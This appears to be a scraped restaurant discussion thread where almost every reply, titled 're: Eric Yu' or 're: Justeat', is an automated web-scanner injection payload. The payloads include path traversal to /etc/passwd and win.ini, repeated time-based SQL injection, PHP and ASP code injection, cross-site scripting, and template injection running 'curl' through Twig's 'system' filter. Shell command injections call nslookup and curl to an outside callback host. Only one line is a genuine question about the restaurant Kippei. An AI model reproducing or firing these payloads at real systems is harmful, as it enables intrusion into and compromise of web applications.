unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Eric Yu
WEB-INF/web.xml
re: Eric Yu
WEB-INF\web.xml
re: Eric Yu
HttP://bxss.me/t/xss.html?%00
re: Eric Yu
"+"A".concat(70-3).concat(22*4).concat(118).concat(83).concat(108).concat(68)+(require"socket"
Socket.gethostbyname("hitau"+"bjjqcrnaf89d6.bxss.me.")[3].to_s)+"
re: Eric Yu
bxss.me/t/xss.html?%00
re: Eric Yu
'+'A'.concat(70-3).concat(22*4).concat(115).concat(66).concat(111).concat(89)+(require'socket'
Socket.gethostbyname('hithc'+'xdzcttlh1e76f.bxss.me.')[3].to_s)+'
re: Eric Yu
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Eric Yu
'"
re: Eric Yu
<!--
re: Eric Yu
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Eric Yu
';print(md5(31337));$a='
re: Eric Yu
";print(md5(31337));$a="
re: Eric Yu
${@print(md5(31337))}
re: Eric Yu
${@print(md5(31337))}\
re: Eric Yu
'.print(md5(31337)).'
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
-1 OR 2+797-797-1=0+0+0+1 --
re: Eric Yu
-1 OR 3+797-797-1=0+0+0+1 --
re: Eric Yu
-1 OR 2+845-845-1=0+0+0+1
re: Eric Yu
-1 OR 3+845-845-1=0+0+0+1
re: Eric Yu
-1' OR 2+413-413-1=0+0+0+1 --
re: Eric Yu
-1' OR 3+413-413-1=0+0+0+1 --
re: Eric Yu
-1' OR 2+700-700-1=0+0+0+1 or 'ORXHm5f1'='
re: Eric Yu
-1' OR 3+700-700-1=0+0+0+1 or 'ORXHm5f1'='
re: Eric Yu
-1" OR 2+11-11-1=0+0+0+1 --
re: Eric Yu
-1" OR 3+11-11-1=0+0+0+1 --
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
pkwORxHU'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 111=(SELECT 111 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 487=(SELECT 487 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 261=(SELECT 261 FROM PG_SLEEP(15))--
re: Eric Yu
bEpGW6hY' OR 99=(SELECT 99 FROM PG_SLEEP(15))--
re: Eric Yu
ur6vqT6n') OR 735=(SELECT 735 FROM PG_SLEEP(15))--
re: Eric Yu
RCjVwnqx')) OR 988=(SELECT 988 FROM PG_SLEEP(15))--
re: Eric Yu
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@ONEPY
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1BFB794Z370
re: Eric Yu
response.write(9119466*9420369)
re: Eric Yu
'+response.write(9119466*9420369)+'
re: Eric Yu
"+response.write(9119466*9420369)+"
re: Eric Yu
../../../../../../../../../../../../../../etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../windows/win.ini
re: Eric Yu
<esi:include src="http://bxss.me/rpb.png"/>
re: Eric Yu
file:///etc/passwd
re: Eric Yu
${9999526+9999825}
re: Eric Yu
../
re: Eric Yu
)
re: Eric Yu
!(()&&!|*|*|
re: Eric Yu
redirtest.acx
re: Eric Yu
^(#$!@#$)(()))******
re: Eric Yu
echo cfaskk$()\ ilkpms\nz^xyu||a #' &echo cfaskk$()\ ilkpms\nz^xyu||a #|" &echo cfaskk$()\ ilkpms\nz^xyu||a #
re: Eric Yu
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Eric Yu
&echo cwgetr$()\ ldeuvv\nz^xyu||a #' &echo cwgetr$()\ ldeuvv\nz^xyu||a #|" &echo cwgetr$()\ ldeuvv\nz^xyu||a #
re: Eric Yu
'.gethostbyname(lc('hitgl'.'dkwlckjf850b1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(70).chr(109).chr(70).'
re: Eric Yu
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Eric Yu
|echo ahvbta$()\ cqtxxl\nz^xyu||a #' |echo ahvbta$()\ cqtxxl\nz^xyu||a #|" |echo ahvbta$()\ cqtxxl\nz^xyu||a #
re: Eric Yu
".gethostbyname(lc("hitmh"."bbophsvs497a1.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(74).chr(119).chr(84)."
re: Eric Yu
/etc/shells
re: Eric Yu
expr 9000677916 - 955673
re: Eric Yu
gethostbyname(lc('hitog'.'mwrzondo0a268.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(76).chr(121).chr(67)
re: Eric Yu
../../../../../../../../../../../../../../etc/shells
re: Eric Yu
(nslookup -q=cname hitqbphhdzxsl239eb.bxss.me||curl hitqbphhdzxsl239eb.bxss.me))
re: Eric Yu
c:/windows/win.ini
re: Eric Yu
$(nslookup -q=cname hitylvqntnmtne12fe.bxss.me||curl hitylvqntnmtne12fe.bxss.me)
re: Eric Yu
bxss.me
re: Eric Yu
&nslookup -q=cname hitimtwheutkjf9d8f.bxss.me&'\"`0&nslookup -q=cname hitimtwheutkjf9d8f.bxss.me&`'
re: Eric Yu
Http://bxss.me/t/fit.txt
re: Eric Yu
&(nslookup -q=cname hittjohbqfqzyee483.bxss.me||curl hittjohbqfqzyee483.bxss.me)&'\"`0&(nslookup -q=cname hittjohbqfqzyee483.bxss.me||curl hittjohbqfqzyee483.bxss.me)&`'
re: Eric Yu
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Eric Yu
http://bxss.me/t/fit.txt?.jpg
re: Eric Yu
|(nslookup -q=cname hitqsxebjcyva8d752.bxss.me||curl hitqsxebjcyva8d752.bxss.me)
re: Eric Yu
`(nslookup -q=cname hitmgpjkdlrsq68798.bxss.me||curl hitmgpjkdlrsq68798.bxss.me)`
re: Eric Yu
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Eric Yu
';print(md5(31337));$a='
re: Eric Yu
;(nslookup -q=cname hithhfrdavsrc6088a.bxss.me||curl hithhfrdavsrc6088a.bxss.me)|(nslookup -q=cname hithhfrdavsrc6088a.bxss.me||curl hithhfrdavsrc6088a.bxss.me)&(nslookup -q=cname hithhfrdavsrc6088a.bxss.me||curl hithhfrdavsrc6088a.bxss.me)
re: Eric Yu
'"()
re: Eric Yu
";print(md5(31337));$a="
re: Eric Yu
|(nslookup${IFS}-q${IFS}cname${IFS}hitvrtmkoeupcd122d.bxss.me||curl${IFS}hitvrtmkoeupcd122d.bxss.me)
re: Eric Yu
'&&sleep(27*1000)*dgifke&&'
re: Eric Yu
${@print(md5(31337))}
re: Eric Yu
&(nslookup${IFS}-q${IFS}cname${IFS}hiturnaueduzl2758d.bxss.me||curl${IFS}hiturnaueduzl2758d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hiturnaueduzl2758d.bxss.me||curl${IFS}hiturnaueduzl2758d.bxss.me)&`'
re: Eric Yu
"&&sleep(27*1000)*eydcbc&&"
re: Eric Yu
${@print(md5(31337))}\
re: Eric Yu
'||sleep(27*1000)*vkssan||'
re: Eric Yu
'.print(md5(31337)).'
re: Eric Yu
"||sleep(27*1000)*qkyras||"
re: Eric Yu
HttP://bxss.me/t/xss.html?%00
re: Eric Yu
bxss.me/t/xss.html?%00
re: Eric Yu
"+"A".concat(70-3).concat(22*4).concat(105).concat(67).concat(109).concat(86)+(require"socket"
Socket.gethostbyname("hitnj"+"xckxvviz5b47c.bxss.me.")[3].to_s)+"
re: Eric Yu
'+'A'.concat(70-3).concat(22*4).concat(120).concat(74).concat(122).concat(68)+(require'socket'
Socket.gethostbyname('hitbh'+'aqtporswd092b.bxss.me.')[3].to_s)+'
re: Eric Yu
replies
re: Eric Yu
'A'.concat(70-3).concat(22*4).concat(122).concat(71).concat(121).concat(65)+(require'socket'
Socket.gethostbyname('hitaf'+'ktzgndxcba890.bxss.me.')[3].to_s)
re: Eric Yu
replies
re: Eric Yu
'"
re: Eric Yu
replies/.
re: Eric Yu
<!--
re: Eric Yu
'"()&%<zzz><ScRiPt >z93e(9562)</ScRiPt>
re: Eric Yu
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitwroynopsbfaa9d9.bxss.me")}}
re: Eric Yu
'"()&%<zzz><ScRiPt >z93e(9297)</ScRiPt>
re: Eric Yu
9866723
re: Eric Yu
czkTOz3O
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
6Md35WtO'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 869=(SELECT 869 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 651=(SELECT 651 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 533=(SELECT 533 FROM PG_SLEEP(15))--
re: Eric Yu
MHmtY6dj' OR 411=(SELECT 411 FROM PG_SLEEP(15))--
re: Eric Yu
NPKhkWGi') OR 888=(SELECT 888 FROM PG_SLEEP(15))--
re: Eric Yu
iDx9hPhN')) OR 253=(SELECT 253 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@8yQjs
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
re: Eric Yu
G6qCSCyV
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
39Donymm'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 945=(SELECT 945 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 853=(SELECT 853 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 950=(SELECT 950 FROM PG_SLEEP(15))--
re: Eric Yu
ezbjIi4Q' OR 334=(SELECT 334 FROM PG_SLEEP(15))--
re: Eric Yu
LkwNvBEJ') OR 104=(SELECT 104 FROM PG_SLEEP(15))--
re: Eric Yu
AGsAhIcW')) OR 81=(SELECT 81 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@JkY3H
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
re: Eric Yu
rDLhVr4D
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
j5b9fjqb'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 185=(SELECT 185 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 914=(SELECT 914 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 461=(SELECT 461 FROM PG_SLEEP(15))--
re: Eric Yu
W3uEPUyO' OR 835=(SELECT 835 FROM PG_SLEEP(15))--
re: Eric Yu
5LM3g4EU') OR 976=(SELECT 976 FROM PG_SLEEP(15))--
re: Eric Yu
UtRGwEBT')) OR 365=(SELECT 365 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@NKzX6
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
re: Eric Yu
L1pIJvwU
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+24-24-1=0+0+0+1
re: Eric Yu
-1 OR 3+24-24-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
ghZc53Rl'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 995=(SELECT 995 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 682=(SELECT 682 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 565=(SELECT 565 FROM PG_SLEEP(15))--
re: Eric Yu
OeEm3Zsa' OR 42=(SELECT 42 FROM PG_SLEEP(15))--
re: Eric Yu
FBfhp99O') OR 810=(SELECT 810 FROM PG_SLEEP(15))--
re: Eric Yu
BAo5yRzX')) OR 44=(SELECT 44 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@MYtib
re: Eric Yu
r95Gf524
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
56nYtWOx'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 321=(SELECT 321 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 374=(SELECT 374 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 640=(SELECT 640 FROM PG_SLEEP(15))--
re: Eric Yu
fAPJInrN' OR 775=(SELECT 775 FROM PG_SLEEP(15))--
re: Eric Yu
czVRYfXR') OR 150=(SELECT 150 FROM PG_SLEEP(15))--
re: Eric Yu
mUWevens')) OR 804=(SELECT 804 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@LUELN
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
Anyone been to Kippei? I would like to know their style as well. Also, what’s the recommendation at Kippei? Thank you!
re: Justeat
mSQoXcga
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
-1 OR 2+627-627-1=0+0+0+1
re: Justeat
-1 OR 3+627-627-1=0+0+0+1
re: Justeat
if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
1 waitfor delay '0:0:15' --
re: Justeat
SuNFZNMh'; waitfor delay '0:0:15' --
re: Justeat
-5 OR 801=(SELECT 801 FROM PG_SLEEP(15))--
re: Justeat
-5) OR 791=(SELECT 791 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 468=(SELECT 468 FROM PG_SLEEP(15))--
re: Justeat
9cwILvEh' OR 507=(SELECT 507 FROM PG_SLEEP(15))--
re: Justeat
d9B7TebO') OR 33=(SELECT 33 FROM PG_SLEEP(15))--
re: Justeat
vL29apeR')) OR 280=(SELECT 280 FROM PG_SLEEP(15))--
re: Justeat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
1'"
re: Justeat
@@3NogB
re: Justeat
aT1lBaE1
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
-1 OR 2+560-560-1=0+0+0+1
re: Justeat
-1 OR 3+560-560-1=0+0+0+1
re: Justeat
if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
1 waitfor delay '0:0:15' --
re: Justeat
wxFg0Crk'; waitfor delay '0:0:15' --
re: Justeat
-5 OR 84=(SELECT 84 FROM PG_SLEEP(15))--
re: Justeat
-5) OR 660=(SELECT 660 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 608=(SELECT 608 FROM PG_SLEEP(15))--
re: Justeat
Mc2926fA' OR 424=(SELECT 424 FROM PG_SLEEP(15))--
re: Justeat
5Op4XhOn') OR 271=(SELECT 271 FROM PG_SLEEP(15))--
re: Justeat
